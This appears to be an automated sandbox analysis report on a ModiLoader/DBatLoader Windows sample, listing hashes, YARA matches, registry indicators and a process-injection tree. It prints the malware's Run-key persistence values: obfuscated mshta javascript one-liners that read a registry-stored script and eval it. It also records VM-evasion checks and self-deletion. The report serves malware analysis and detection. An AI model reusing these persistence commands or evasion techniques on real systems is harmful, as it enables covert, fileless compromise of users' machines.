Analysis
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max time kernel
151s -
max time network
157s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
25-05-2024 00:54
Static task
static1
Behavioral task
behavioral1
Sample
705a555b05e8dd69fb6a2a6f5ebe004a_JaffaCakes118.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
705a555b05e8dd69fb6a2a6f5ebe004a_JaffaCakes118.exe
Resource
win10v2004-20240226-en
General
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Target
705a555b05e8dd69fb6a2a6f5ebe004a_JaffaCakes118.exe
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Size
380KB
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MD5
705a555b05e8dd69fb6a2a6f5ebe004a
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SHA1
0f82b26d73270906ca677cda36b99b05af88699f
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SHA256
e057fa42785677584a54d3f91dfd7ce107e22f4d307782252857c21fb8945fe3
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SHA512
772e86706dd9601db36702030a5d4e86110fc3ea00c1e23138528ef2d9011a5565337bafac04d6d1858daa453856aed0e2ac9a6e347cd3b4d9bd9199a0875e31
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SSDEEP
6144:2PI9X2Mqbuj9sZQlzAGVv7wcpj13NpFEjGfDwYeXrMOPBLZ1w:oI9X2MqbujcGzAs0cpjBNwXrTy
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions dllhost.exe -
ModiLoader Second Stage 48 IoCs
Processes:
resource yara_rule behavioral2/memory/3256-4-0x0000000000400000-0x0000000000466000-memory.dmp modiloader_stage2 behavioral2/memory/3256-6-0x0000000002FE0000-0x00000000030A4000-memory.dmp modiloader_stage2 behavioral2/memory/1968-9-0x0000000000830000-0x00000000008F4000-memory.dmp modiloader_stage2 behavioral2/memory/3256-10-0x0000000002FE0000-0x00000000030A4000-memory.dmp modiloader_stage2 behavioral2/memory/3256-11-0x0000000000400000-0x0000000000466000-memory.dmp modiloader_stage2 behavioral2/memory/1968-12-0x0000000000830000-0x00000000008F4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-16-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-20-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-19-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-18-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-17-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-21-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-22-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-23-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-24-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-25-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-26-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3624-28-0x0000000000C00000-0x0000000000CC4000-memory.dmp modiloader_stage2 behavioral2/memory/3624-33-0x0000000000C00000-0x0000000000CC4000-memory.dmp modiloader_stage2 behavioral2/memory/3624-32-0x0000000000C00000-0x0000000000CC4000-memory.dmp modiloader_stage2 behavioral2/memory/3624-31-0x0000000000C00000-0x0000000000CC4000-memory.dmp modiloader_stage2 behavioral2/memory/3624-30-0x0000000000C00000-0x0000000000CC4000-memory.dmp modiloader_stage2 behavioral2/memory/3624-29-0x0000000000C00000-0x0000000000CC4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-38-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-37-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-42-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-41-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-40-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-39-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-35-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-36-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-34-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/4064-46-0x0000000000670000-0x0000000000734000-memory.dmp modiloader_stage2 behavioral2/memory/4064-48-0x0000000000670000-0x0000000000734000-memory.dmp modiloader_stage2 behavioral2/memory/4064-50-0x0000000000670000-0x0000000000734000-memory.dmp modiloader_stage2 behavioral2/memory/4064-49-0x0000000000670000-0x0000000000734000-memory.dmp modiloader_stage2 behavioral2/memory/4064-47-0x0000000000670000-0x0000000000734000-memory.dmp modiloader_stage2 behavioral2/memory/4064-51-0x0000000000670000-0x0000000000734000-memory.dmp modiloader_stage2 behavioral2/memory/3036-61-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-64-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-69-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-68-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-67-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-66-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-65-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-63-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-62-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 behavioral2/memory/3036-60-0x0000000000B10000-0x0000000000BD4000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
dllhost.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run dllhost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:VhFWiCYe3=\"vjwI\";AJ5=new%20ActiveXObject(\"WScript.Shell\");F6VzLQyd=\"e\";i7oQX=AJ5.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\1f2fa368\\\\2bef0163\");F5jVIob9Y=\"KT\";eval(i7oQX);p7sAiU0tk=\"sUXQpU\";" dllhost.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools dllhost.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
dllhost.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion dllhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion dllhost.exe -
Deletes itself 1 IoCs
Processes:
dllhost.exepid process 3036 dllhost.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
dllhost.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:eMKDGA6h=\"xyq4se\";A4P=new%20ActiveXObject(\"WScript.Shell\");ZKy12uTNnq=\"I50Uh\";qd3fr=A4P.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\1f2fa368\\\\2bef0163\");yJ3me8Rd=\"bDhrXJ\";eval(qd3fr);T9tM1oEPR=\"rF62l\";" dllhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:TAB74FhWY=\"Nzz6Mm\";l7d3=new%20ActiveXObject(\"WScript.Shell\");v7vnu0trog=\"29\";OMR7T4=l7d3.RegRead(\"HKCU\\\\software\\\\1f2fa368\\\\2bef0163\");Y66vzpMMN=\"YtzlEA3\";eval(OMR7T4);Ej5QVSDsm=\"J1bSaIKrpZ\";" dllhost.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum dllhost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 dllhost.exe -
Processes:
dllhost.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\International dllhost.exe Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
dllhost.exepid process 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
Processes:
705a555b05e8dd69fb6a2a6f5ebe004a_JaffaCakes118.exedllhost.exedllhost.exepid process 3256 705a555b05e8dd69fb6a2a6f5ebe004a_JaffaCakes118.exe 3256 705a555b05e8dd69fb6a2a6f5ebe004a_JaffaCakes118.exe 3256 705a555b05e8dd69fb6a2a6f5ebe004a_JaffaCakes118.exe 1968 dllhost.exe 1968 dllhost.exe 1968 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe 3036 dllhost.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
705a555b05e8dd69fb6a2a6f5ebe004a_JaffaCakes118.exedllhost.exedllhost.exedescription pid process target process PID 3256 wrote to memory of 1968 3256 705a555b05e8dd69fb6a2a6f5ebe004a_JaffaCakes118.exe dllhost.exe PID 3256 wrote to memory of 1968 3256 705a555b05e8dd69fb6a2a6f5ebe004a_JaffaCakes118.exe dllhost.exe PID 3256 wrote to memory of 1968 3256 705a555b05e8dd69fb6a2a6f5ebe004a_JaffaCakes118.exe dllhost.exe PID 1968 wrote to memory of 3036 1968 dllhost.exe dllhost.exe PID 1968 wrote to memory of 3036 1968 dllhost.exe dllhost.exe PID 1968 wrote to memory of 3036 1968 dllhost.exe dllhost.exe PID 3036 wrote to memory of 3624 3036 dllhost.exe dllhost.exe PID 3036 wrote to memory of 3624 3036 dllhost.exe dllhost.exe PID 3036 wrote to memory of 3624 3036 dllhost.exe dllhost.exe PID 3036 wrote to memory of 4064 3036 dllhost.exe explorer.exe PID 3036 wrote to memory of 4064 3036 dllhost.exe explorer.exe PID 3036 wrote to memory of 4064 3036 dllhost.exe explorer.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\705a555b05e8dd69fb6a2a6f5ebe004a_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\705a555b05e8dd69fb6a2a6f5ebe004a_JaffaCakes118.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3256 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1968 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3036 -
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"4⤵PID:3624
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C:\Windows\SysWOW64\explorer.exeexplorer.exe4⤵PID:4064
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4796 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:81⤵PID:1380